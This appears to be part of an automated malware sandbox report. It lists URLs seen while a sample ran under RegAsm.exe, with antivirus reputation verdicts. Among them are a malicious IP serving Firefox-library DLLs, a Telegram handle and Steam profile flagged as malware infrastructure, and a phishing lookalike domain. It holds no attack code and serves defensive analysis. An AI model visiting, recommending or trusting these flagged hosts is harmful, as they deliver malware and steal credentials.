https://community.cloudflare.steamstatic.com/public/javascript/applications/community/libraries~b28b	0%	URL Reputation	safe
https://community.cloudflare.steamstatic.com/public/shared/images/responsive/header_logo.png	0%	URL Reputation	safe
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples	0%	URL Reputation	safe
https://store.steampowered.com/about/	0%	URL Reputation	safe
https://support.mozilla.org/products/firefoxgro.allizom.troppus.zvXrErQ5GYDF	0%	URL Reputation	safe
https://community.cloudflare.steamstatic.com/public/javascript/jquery-1.11.1.min.js?v=.isFTSRckeNhC&	0%	URL Reputation	safe
https://help.steampowered.com/en/	0%	URL Reputation	safe
https://store.steampowered.com/news/	0%	URL Reputation	safe
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	0%	URL Reputation	safe
http://store.steampowered.com/subscriber_agreement/	0%	URL Reputation	safe
https://community.cloudflare.steamstatic.com/public/javascript/applications/community/manifest.js?v=	0%	URL Reputation	safe
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17	0%	URL Reputation	safe
https://steamcommunity.co	100%	Sophos S4	illegal phishing domain
https://store.steampowered.com/stats/	0%	URL Reputation	safe
https://community.cloudflare.steamstatic.com/public/shared/javascript/tooltip.js?v=.zYHOpI1L3Rt0&amp	0%	URL Reputation	safe
https://community.cloudflare.steamstatic.com/public/javascript/webui/clientcom.js?v=dERfFkkJ-bKK&amp	0%	Avira URL Cloud	safe
https://store.steampowered.com/steam_refunds/	0%	URL Reputation	safe
https://duckduckgo.com/ac/?q=	0%	Avira URL Cloud	safe
https://community.cloudflare.steamstatic.com/public/images/skin_1/arrowDn9x5.gif	0%	URL Reputation	safe
https://duckduckgo.com/chrome_newtab	0%	Avira URL Cloud	safe
https://95.217.240.101/nss3.dll	100%	Avira URL Cloud	malware
https://community.cloudflare.steamstatic.com/public/shared/javascript/shared_global.js?v=wJD9maDpDcV	0%	Avira URL Cloud	safe
https://community.cloudflare.steamstatic.com/public/shared/javascript/shared_responsive_adapter.js?v	0%	URL Reputation	safe
https://steamcommunity.com/?subsection=broadcasts	0%	Avira URL Cloud	safe
https://95.217.240.101/nss3.dll2	100%	Avira URL Cloud	malware
https://community.cloudflare.steamstatic.com/public/shared/javascript/tooltip.j	0%	Avira URL Cloud	safe
https://community.cloudflare.steamstatic.com/public/javascript/promo/stickers.js?v=GfA42_x2_aub&	0%	Avira URL Cloud	safe
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install	0%	URL Reputation	safe
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	0%	URL Reputation	safe
https://community.cloudflare.steamstatic.com/public/shared/images/responsive/header_menu_hamburger.p	0%	URL Reputation	safe
https://store.steampowered.com/legal/	0%	URL Reputation	safe
http://www.sqlite.org/copyright.html.	0%	URL Reputation	safe
https://community.cloudflare.steamstatic.com/public/shared/css/buttons.css?v=tuNiaSwXwcYT&l=engl	0%	URL Reputation	safe
https://95.217.240.101/freebl3.dll	100%	Avira URL Cloud	malware
https://community.cloudflare.steamstatic.com/public/shared/css/motiva_sans.css?v=GfSjbGKcNYaQ&l=	0%	URL Reputation	safe
https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg	0%	URL Reputation	safe
https://community.cloudflare.steamstatic.com/public/css/skin_1/header.css?v=vh4BMeDcNiCU&l=engli	0%	URL Reputation	safe
https://store.steampowered.com/	0%	URL Reputation	safe
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016ost.exe	0%	URL Reputation	safe
https://ac.ecosia.org/autocomplete?q=	0%	URL Reputation	safe
https://community.cloudflare.steamstatic.com/public/images/skin_1/footerLogo_valve.png?v=1	0%	URL Reputation	safe
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	0%	URL Reputation	safe
https://95.217.240.101KJE	0%	Avira URL Cloud	safe
https://steamcommunity.com/login	0%	Avira URL Cloud	safe
https://steamcommunity.com/login/home/?goto=profiles%2F76561199686524322	0%	Avira URL Cloud	safe
https://community.cloudflare.steamstatic.com/public/css/promo/summer2017/stickers.css?v=bZKSp7oNwVPK	0%	Avira URL Cloud	safe
https://95.217.240.101FIE	0%	Avira URL Cloud	safe
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	0%	Avira URL Cloud	safe
https://community.cloudflare.steamstatic.com/public/shared/css/shared_responsive.css?v=eghn9DNyCY67&	0%	Avira URL Cloud	safe
https://95.217.240.101/softokn3.dll	100%	Avira URL Cloud	malware
https://community.cloudflare.steamstatic.com/public/javascript/reportedcontent.js?v=dAtjbcZMWhSe&amp	0%	Avira URL Cloud	safe
https://community.cloudflare.steamstatic.com/public/shared/css/shared_global.css?v=2VoZa2M8Wh3k&	0%	Avira URL Cloud	safe
https://community.cloudflare.steamstatic.com/public/shared/images/responsive/he	0%	Avira URL Cloud	safe
https://community.cloudflare.steamstatic.com/public/javascript/applications/community/main.js?v=yF_q	0%	Avira URL Cloud	safe
https://steamcommunity.com/market/	0%	Avira URL Cloud	safe
https://95.217.240.101/msvcp140.dllU	100%	Avira URL Cloud	malware
https://steamcommunity.com/my/wishlist/	0%	Avira URL Cloud	safe
https://95.217.240.101	100%	Avira URL Cloud	malware
https://95.217.240.101/freebl3.dlls	100%	Avira URL Cloud	malware
https://95.217.240.101/msvcp140.dll	100%	Avira URL Cloud	malware
https://community.cloudflare.steamstatic.com/public/javascript/global.js?v=PyuRtGtUpR0t&l=englis	0%	Avira URL Cloud	safe
https://steamcommunity.com/linkfilter/?u=http%3A%2F%2Fwww.geonames.org	0%	Avira URL Cloud	safe
https://steamcommunity.co	100%	Avira URL Cloud	phishing
https://steamcommunity.com/discussions/	0%	Avira URL Cloud	safe
https://community.cloudflare.steamstatic.com/public/css/applications/community/main.css?v=5CgcHEsWGA	0%	Avira URL Cloud	safe
https://t.me/k0mono	100%	Avira URL Cloud	malware
https://steamcommunity.com/profiles/76561199686524322/badges	100%	Avira URL Cloud	malware
https://steamcommunity.com/profiles/76561199686524322/inventory/	100%	Avira URL Cloud	malware
https://community.cloudflare.steamstatic.com/public/css/skin_1/profilev2.css?v=gNE3gksLVEVa&l=en	0%	Avira URL Cloud	safe
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	0%	Avira URL Cloud	safe
https://steamcommunity.com/workshop/	0%	Avira URL Cloud	safe
https://95.217.240.101/mozglue.dll	100%	Avira URL Cloud	malware
https://95.217.240.101/softokn3.dllK	100%	Avira URL Cloud	malware
https://community.cloudflare.steamstatic.com/public/css/globalv2.css?v=pwVcIAtHNXwg&l=english&am	0%	Avira URL Cloud	safe
https://95.217.240.101/sqlx.dll	100%	Avira URL Cloud	malware
https://steamcommunity.com/profiles/76561199686524322	100%	Avira URL Cloud	malware
https://95.217.240.101/v	100%	Avira URL Cloud	malware

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
steamcommunity.com	23.194.234.100	true	true		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://95.217.240.101/nss3.dll	true	Avira URL Cloud: malware	unknown
https://95.217.240.101/freebl3.dll	true	Avira URL Cloud: malware	unknown
https://95.217.240.101/softokn3.dll	false	Avira URL Cloud: malware	unknown
https://95.217.240.101/msvcp140.dll	false	Avira URL Cloud: malware	unknown
https://95.217.240.101/mozglue.dll	false	Avira URL Cloud: malware	unknown
https://95.217.240.101/sqlx.dll	false	Avira URL Cloud: malware	unknown
https://steamcommunity.com/profiles/76561199686524322	true	Avira URL Cloud: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	JEGHDA.3.dr	false	Avira URL Cloud: safe	unknown
https://duckduckgo.com/ac/?q=	JEGHDA.3.dr	false	Avira URL Cloud: safe	unknown
https://community.cloudflare.steamstatic.com/public/shared/javascript/tooltip.j	RegAsm.exe, 00000003.00000002.2039421679.000000000043C000.00000040.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://steamcommunity.com/?subsection=broadcasts	RegAsm.exe, 00000003.00000002.2039421679.000000000043C000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2039843290.0000000000EF1000.00000004.00000020.00020000.00000000.sdmp, 76561199686524322[1].htm.3.dr	false	Avira URL Cloud: safe	unknown
https://95.217.240.101/nss3.dll2	RegAsm.exe, 00000003.00000002.2039843290.0000000000EF1000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://community.cloudflare.steamstatic.com/public/javascript/webui/clientcom.js?v=dERfFkkJ-bKK&amp	RegAsm.exe, 00000003.00000002.2039421679.000000000043C000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2039843290.0000000000EF1000.00000004.00000020.00020000.00000000.sdmp, 76561199686524322[1].htm.3.dr	false	Avira URL Cloud: safe	unknown
https://community.cloudflare.steamstatic.com/public/shared/javascript/shared_global.js?v=wJD9maDpDcV	RegAsm.exe, 00000003.00000002.2039421679.000000000043C000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2039843290.0000000000EF1000.00000004.00000020.00020000.00000000.sdmp, 76561199686524322[1].htm.3.dr	false	Avira URL Cloud: safe	unknown
https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.	RegAsm.exe, 00000003.00000002.2039843290.0000000000FDF000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2039843290.0000000000FE5000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2039843290.0000000001068000.00000004.00000020.00020000.00000000.sdmp, IIDHJD.3.dr	false	URL Reputation: safe	unknown
https://store.steampowered.com/subscriber_agreement/	RegAsm.exe, 00000003.00000002.2039421679.000000000043C000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2039843290.0000000000EF1000.00000004.00000020.00020000.00000000.sdmp, 76561199686524322[1].htm.3.dr	false	URL Reputation: safe	unknown
https://community.cloudflare.steamstatic.com/public/javascript/modalv2.js?v=dfMhuy-Lrpyo&l=engli	RegAsm.exe, 00000003.00000002.2039421679.000000000043C000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2039843290.0000000000EF1000.00000004.00000020.00020000.00000000.sdmp, 76561199686524322[1].htm.3.dr	false	URL Reputation: safe	unknown
https://community.cloudflare.steamstatic.com/public/javascript/promo/stickers.js?v=GfA42_x2_aub&	RegAsm.exe, 00000003.00000002.2039421679.000000000043C000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2039843290.0000000000EF1000.00000004.00000020.00020000.00000000.sdmp, 76561199686524322[1].htm.3.dr	false	Avira URL Cloud: safe	unknown
https://community.cloudflare.steamstatic.com/public/javascript/scriptaculous/_combined.js?v=OeNIgrpE	RegAsm.exe, 00000003.00000002.2039421679.000000000043C000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2039843290.0000000000EF1000.00000004.00000020.00020000.00000000.sdmp, 76561199686524322[1].htm.3.dr	false	URL Reputation: safe	unknown
http://www.valvesoftware.com/legal.htm	RegAsm.exe, 00000003.00000002.2039421679.000000000043C000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2039843290.0000000000EF1000.00000004.00000020.00020000.00000000.sdmp, 76561199686524322[1].htm.3.dr	false	URL Reputation: safe	unknown
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17rer.exe	RegAsm.exe, 00000003.00000002.2039421679.0000000000572000.00000040.00000400.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4QqmfZfYfQfafZbXfpbWfpbX7ReNxR3UIG8zInwYIFIVs9eYi	IIDHJD.3.dr	false	URL Reputation: safe	unknown
https://www.valvesoftware.com/en/contact?contact-person=Translation%20Team%20Feedback	RegAsm.exe, 00000003.00000002.2039421679.000000000043C000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2039843290.0000000000EF1000.00000004.00000020.00020000.00000000.sdmp, 76561199686524322[1].htm.3.dr	false	URL Reputation: safe	unknown
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94	RegAsm.exe, 00000003.00000002.2039843290.0000000000FDF000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2039843290.0000000000FE5000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2039843290.0000000001068000.00000004.00000020.00020000.00000000.sdmp, IIDHJD.3.dr	false	URL Reputation: safe	unknown
https://community.cloudflare.steamstatic.com/public/css/skin_1/modalContent.css?v=.TP5s6TzX6LLh&	RegAsm.exe, 00000003.00000002.2039421679.000000000043C000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2039843290.0000000000EF1000.00000004.00000020.00020000.00000000.sdmp, 76561199686524322[1].htm.3.dr	false	URL Reputation: safe	unknown
https://community.cloudflare.steamstatic.com/public/javascript/modalContent.js?v=Wd0kCESeJquW&l=	RegAsm.exe, 00000003.00000002.2039421679.000000000043C000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2039843290.0000000000EF1000.00000004.00000020.00020000.00000000.sdmp, 76561199686524322[1].htm.3.dr	false	URL Reputation: safe	unknown
http://www.mozilla.com/en-US/blocklist/	RegAsm.exe, RegAsm.exe, 00000003.00000002.2047049118.000000006C73D000.00000002.00000001.01000000.00000008.sdmp, mozglue[1].dll.3.dr, mozglue.dll.3.dr	false	URL Reputation: safe	unknown
https://mozilla.org0/	nss3[1].dll.3.dr, softokn3[1].dll.3.dr, softokn3.dll.3.dr, mozglue[1].dll.3.dr, freebl3[1].dll.3.dr, nss3.dll.3.dr, mozglue.dll.3.dr, freebl3.dll.3.dr	false	URL Reputation: safe	unknown
https://community.cloudflare.steamstatic.com/public/javascript/prototype-1.7.js?v=.55t44gwuwgvw&	RegAsm.exe, 00000003.00000002.2039421679.000000000043C000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2039843290.0000000000EF1000.00000004.00000020.00020000.00000000.sdmp, 76561199686524322[1].htm.3.dr	false	URL Reputation: safe	unknown
https://95.217.240.101KJE	RegAsm.exe, 00000003.00000002.2039421679.0000000000572000.00000040.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://steamcommunity.com/login/home/?goto=profiles%2F76561199686524322	76561199686524322[1].htm.3.dr	false	Avira URL Cloud: safe	unknown
http://store.steampowered.com/privacy_agreement/	RegAsm.exe, 00000003.00000002.2039843290.0000000000EF1000.00000004.00000020.00020000.00000000.sdmp, 76561199686524322[1].htm.3.dr	false	URL Reputation: safe	unknown
https://community.cloudflare.steamstatic.com/public/shared/css/shared_responsive.css?v=eghn9DNyCY67&	RegAsm.exe, 00000003.00000002.2039421679.000000000043C000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2039843290.0000000000EF1000.00000004.00000020.00020000.00000000.sdmp, 76561199686524322[1].htm.3.dr	false	Avira URL Cloud: safe	unknown
https://store.steampowered.com/points/shop/	RegAsm.exe, 00000003.00000002.2039421679.000000000043C000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2039843290.0000000000EF1000.00000004.00000020.00020000.00000000.sdmp, 76561199686524322[1].htm.3.dr	false	URL Reputation: safe	unknown
https://steamcommunity.com/login	RegAsm.exe, 00000003.00000002.2039421679.000000000043C000.00000040.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	JEGHDA.3.dr	false	Avira URL Cloud: safe	unknown
https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta	RegAsm.exe, 00000003.00000002.2039843290.0000000000FDF000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2039843290.0000000000FE5000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2039843290.0000000001068000.00000004.00000020.00020000.00000000.sdmp, IIDHJD.3.dr	false	URL Reputation: safe	unknown
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016	RegAsm.exe, 00000003.00000002.2039421679.0000000000572000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2039421679.000000000060B000.00000040.00000400.00020000.00000000.sdmp, GDAAKF.3.dr	false	URL Reputation: safe	unknown
https://community.cloudflare.steamstatic.com/public/css/promo/summer2017/stickers.css?v=bZKSp7oNwVPK	RegAsm.exe, 00000003.00000002.2039421679.000000000043C000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2039843290.0000000000EF1000.00000004.00000020.00020000.00000000.sdmp, 76561199686524322[1].htm.3.dr	false	Avira URL Cloud: safe	unknown
https://community.cloudflare.steamstatic.com/public/javascript/reportedcontent.js?v=dAtjbcZMWhSe&amp	RegAsm.exe, 00000003.00000002.2039421679.000000000043C000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2039843290.0000000000EF1000.00000004.00000020.00020000.00000000.sdmp, 76561199686524322[1].htm.3.dr	false	Avira URL Cloud: safe	unknown
https://www.ecosia.org/newtab/	JEGHDA.3.dr	false	URL Reputation: safe	unknown
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	GCBFBG.3.dr	false	URL Reputation: safe	unknown
https://store.steampowered.com/privacy_agreement/	RegAsm.exe, 00000003.00000002.2039421679.000000000043C000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2039843290.0000000000EF1000.00000004.00000020.00020000.00000000.sdmp, 76561199686524322[1].htm.3.dr	false	URL Reputation: safe	unknown
https://community.cloudflare.steamstatic.com/public/shared/images/responsive/logo_valve_footer.png	RegAsm.exe, 00000003.00000002.2039421679.000000000043C000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2039843290.0000000000EF1000.00000004.00000020.00020000.00000000.sdmp, 76561199686524322[1].htm.3.dr	false	URL Reputation: safe	unknown
https://95.217.240.101FIE	RegAsm.exe, 00000003.00000002.2039421679.000000000043C000.00000040.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://community.cloudflare.steamstatic.com/public/shared/css/shared_global.css?v=2VoZa2M8Wh3k&	RegAsm.exe, 00000003.00000002.2039421679.000000000043C000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2039843290.0000000000EF1000.00000004.00000020.00020000.00000000.sdmp, 76561199686524322[1].htm.3.dr	false	Avira URL Cloud: safe	unknown
https://community.cloudflare.steamstatic.com/public/shared/images/header/logo_steam.svg?t=962016	RegAsm.exe, 00000003.00000002.2039421679.000000000043C000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2039843290.0000000000EF1000.00000004.00000020.00020000.00000000.sdmp, 76561199686524322[1].htm.3.dr	false	URL Reputation: safe	unknown
https://community.cloudflare.steamstatic.com/public/shared/images/responsive/he	RegAsm.exe, 00000003.00000002.2039421679.000000000043C000.00000040.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://community.cloudflare.steamstatic.com/public/javascript/applications/community/libraries~b28b	RegAsm.exe, 00000003.00000002.2039421679.000000000043C000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2039843290.0000000000EF1000.00000004.00000020.00020000.00000000.sdmp, 76561199686524322[1].htm.3.dr	false	URL Reputation: safe	unknown
https://community.cloudflare.steamstatic.com/public/shared/images/responsive/header_logo.png	RegAsm.exe, 00000003.00000002.2039421679.000000000043C000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2039843290.0000000000EF1000.00000004.00000020.00020000.00000000.sdmp, 76561199686524322[1].htm.3.dr	false	URL Reputation: safe	unknown
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples	GDAAKF.3.dr	false	URL Reputation: safe	unknown
https://community.cloudflare.steamstatic.com/public/javascript/applications/community/main.js?v=yF_q	RegAsm.exe, 00000003.00000002.2039421679.000000000043C000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2039843290.0000000000EF1000.00000004.00000020.00020000.00000000.sdmp, 76561199686524322[1].htm.3.dr	false	Avira URL Cloud: safe	unknown
https://store.steampowered.com/about/	76561199686524322[1].htm.3.dr	false	URL Reputation: safe	unknown
https://steamcommunity.com/my/wishlist/	RegAsm.exe, 00000003.00000002.2039421679.000000000043C000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2039843290.0000000000EF1000.00000004.00000020.00020000.00000000.sdmp, 76561199686524322[1].htm.3.dr	false	Avira URL Cloud: safe	unknown
https://support.mozilla.org/products/firefoxgro.allizom.troppus.zvXrErQ5GYDF	GCBFBG.3.dr	false	URL Reputation: safe	unknown
https://community.cloudflare.steamstatic.com/public/javascript/jquery-1.11.1.min.js?v=.isFTSRckeNhC&	RegAsm.exe, 00000003.00000002.2039421679.000000000043C000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2039843290.0000000000EF1000.00000004.00000020.00020000.00000000.sdmp, 76561199686524322[1].htm.3.dr	false	URL Reputation: safe	unknown
https://95.217.240.101/msvcp140.dllU	RegAsm.exe, 00000003.00000002.2039843290.0000000000EF1000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://95.217.240.101/freebl3.dlls	RegAsm.exe, 00000003.00000002.2039843290.0000000000EF1000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://help.steampowered.com/en/	RegAsm.exe, 00000003.00000002.2039421679.000000000043C000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2039843290.0000000000EF1000.00000004.00000020.00020000.00000000.sdmp, 76561199686524322[1].htm.3.dr	false	URL Reputation: safe	unknown
https://steamcommunity.com/market/	RegAsm.exe, 00000003.00000002.2039421679.000000000043C000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2039843290.0000000000EF1000.00000004.00000020.00020000.00000000.sdmp, 76561199686524322[1].htm.3.dr	false	Avira URL Cloud: safe	unknown
https://store.steampowered.com/news/	RegAsm.exe, 00000003.00000002.2039421679.000000000043C000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2039843290.0000000000EF1000.00000004.00000020.00020000.00000000.sdmp, 76561199686524322[1].htm.3.dr	false	URL Reputation: safe	unknown
https://95.217.240.101	76561199686524322[1].htm.3.dr	false	Avira URL Cloud: malware	unknown
https://community.cloudflare.steamstatic.com/public/javascript/global.js?v=PyuRtGtUpR0t&l=englis	RegAsm.exe, 00000003.00000002.2039421679.000000000043C000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2039843290.0000000000EF1000.00000004.00000020.00020000.00000000.sdmp, 76561199686524322[1].htm.3.dr	false	Avira URL Cloud: safe	unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	JEGHDA.3.dr	false	URL Reputation: safe	unknown
http://store.steampowered.com/subscriber_agreement/	RegAsm.exe, 00000003.00000002.2039421679.000000000043C000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2039843290.0000000000EF1000.00000004.00000020.00020000.00000000.sdmp, 76561199686524322[1].htm.3.dr	false	URL Reputation: safe	unknown
https://community.cloudflare.steamstatic.com/public/javascript/applications/community/manifest.js?v=	RegAsm.exe, 00000003.00000002.2039421679.000000000043C000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2039843290.0000000000EF1000.00000004.00000020.00020000.00000000.sdmp, 76561199686524322[1].htm.3.dr	false	URL Reputation: safe	unknown
https://steamcommunity.com/linkfilter/?u=http%3A%2F%2Fwww.geonames.org	RegAsm.exe, 00000003.00000002.2039843290.0000000000EF1000.00000004.00000020.00020000.00000000.sdmp, 76561199686524322[1].htm.3.dr	false	Avira URL Cloud: safe	unknown
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17	RegAsm.exe, 00000003.00000002.2039421679.0000000000572000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2039421679.000000000060B000.00000040.00000400.00020000.00000000.sdmp, GDAAKF.3.dr	false	URL Reputation: safe	unknown
https://steamcommunity.co	RegAsm.exe, 00000003.00000002.2039421679.000000000043C000.00000040.00000400.00020000.00000000.sdmp	true	Sophos S4: illegal phishing domain Avira URL Cloud: phishing	unknown
https://steamcommunity.com/discussions/	RegAsm.exe, 00000003.00000002.2039421679.000000000043C000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2039843290.0000000000EF1000.00000004.00000020.00020000.00000000.sdmp, 76561199686524322[1].htm.3.dr	false	Avira URL Cloud: safe	unknown
https://community.cloudflare.steamstatic.com/public/css/applications/community/main.css?v=5CgcHEsWGA	RegAsm.exe, 00000003.00000002.2039421679.000000000043C000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2039843290.0000000000EF1000.00000004.00000020.00020000.00000000.sdmp, 76561199686524322[1].htm.3.dr	false	Avira URL Cloud: safe	unknown
https://store.steampowered.com/stats/	RegAsm.exe, 00000003.00000002.2039421679.000000000043C000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2039843290.0000000000EF1000.00000004.00000020.00020000.00000000.sdmp, 76561199686524322[1].htm.3.dr	false	URL Reputation: safe	unknown
https://community.cloudflare.steamstatic.com/public/shared/javascript/tooltip.js?v=.zYHOpI1L3Rt0&amp	RegAsm.exe, 00000003.00000002.2039843290.0000000000EF1000.00000004.00000020.00020000.00000000.sdmp, 76561199686524322[1].htm.3.dr	false	URL Reputation: safe	unknown
https://store.steampowered.com/steam_refunds/	RegAsm.exe, 00000003.00000002.2039421679.000000000043C000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2039843290.0000000000EF1000.00000004.00000020.00020000.00000000.sdmp, 76561199686524322[1].htm.3.dr	false	URL Reputation: safe	unknown
https://community.cloudflare.steamstatic.com/public/images/skin_1/arrowDn9x5.gif	RegAsm.exe, 00000003.00000002.2039421679.000000000043C000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2039843290.0000000000EF1000.00000004.00000020.00020000.00000000.sdmp, 76561199686524322[1].htm.3.dr	false	URL Reputation: safe	unknown
https://community.cloudflare.steamstatic.com/public/shared/javascript/shared_responsive_adapter.js?v	RegAsm.exe, 00000003.00000002.2039421679.000000000043C000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2039843290.0000000000EF1000.00000004.00000020.00020000.00000000.sdmp, 76561199686524322[1].htm.3.dr	false	URL Reputation: safe	unknown
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install	GDAAKF.3.dr	false	URL Reputation: safe	unknown
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	JEGHDA.3.dr	false	URL Reputation: safe	unknown
https://community.cloudflare.steamstatic.com/public/shared/images/responsive/header_menu_hamburger.p	RegAsm.exe, 00000003.00000002.2039421679.000000000043C000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2039843290.0000000000EF1000.00000004.00000020.00020000.00000000.sdmp, 76561199686524322[1].htm.3.dr	false	URL Reputation: safe	unknown
https://t.me/k0mono	file.exe, 00000000.00000002.1589701895.000000000070A000.00000004.00000001.01000000.00000003.sdmp, RegAsm.exe, RegAsm.exe, 00000003.00000002.2039421679.0000000000400000.00000040.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://steamcommunity.com/profiles/76561199686524322/inventory/	RegAsm.exe, 00000003.00000002.2039421679.000000000043C000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2039843290.0000000000EF1000.00000004.00000020.00020000.00000000.sdmp, 76561199686524322[1].htm.3.dr	false	Avira URL Cloud: malware	unknown
https://steamcommunity.com/profiles/76561199686524322/badges	RegAsm.exe, 00000003.00000002.2039421679.000000000043C000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2039843290.0000000000EF1000.00000004.00000020.00020000.00000000.sdmp, 76561199686524322[1].htm.3.dr	false	Avira URL Cloud: malware	unknown
https://steamcommunity.com/workshop/	RegAsm.exe, 00000003.00000002.2039421679.000000000043C000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2039843290.0000000000EF1000.00000004.00000020.00020000.00000000.sdmp, 76561199686524322[1].htm.3.dr	false	Avira URL Cloud: safe	unknown
https://store.steampowered.com/legal/	RegAsm.exe, 00000003.00000002.2039843290.0000000000EF1000.00000004.00000020.00020000.00000000.sdmp, 76561199686524322[1].htm.3.dr	false	URL Reputation: safe	unknown
